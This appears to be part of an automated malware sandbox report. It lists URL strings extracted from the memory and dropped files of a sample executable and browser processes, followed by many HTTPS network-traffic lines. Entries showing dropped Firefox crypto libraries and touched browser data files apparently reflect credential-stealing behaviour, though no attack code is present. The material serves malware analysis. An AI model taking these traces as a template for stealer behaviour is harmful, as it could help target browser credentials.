Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2368593935.00004BF800C22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362485852.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.2364999108.00004BF800FD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368214914.00004BF800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_466.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_468.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_468.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000003.00000003.2364999108.00004BF800FD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000003.2389085687.00004BF801434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389162580.00004BF80143C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388974444.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389249895.00004BF801444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390667726.00004BF801470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390471248.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388482398.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390567441.00004BF801398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_468.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, FCAKFCGC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2363770189.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2388665422.00004BF800F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl
Source: chrome.exe, 00000003.00000003.2389085687.00004BF801434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389162580.00004BF80143C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388974444.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389249895.00004BF801444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390667726.00004BF801470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390471248.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388482398.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390567441.00004BF801398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: 235de707-0d67-4747-882a-2375ceb3654d.tmp.11.dr, 258a7c48-9440-4e03-b756-5258400fc065.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_468.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_468.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_466.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_466.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_466.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000003.00000003.2390245682.00004BF8013C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2388974444.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389955312.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388809800.00004BF800F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390667726.00004BF801470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390471248.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388482398.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390567441.00004BF801398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390245682.00004BF8013C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ECAFHIIJJECGDHIEGDAKKKKFBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
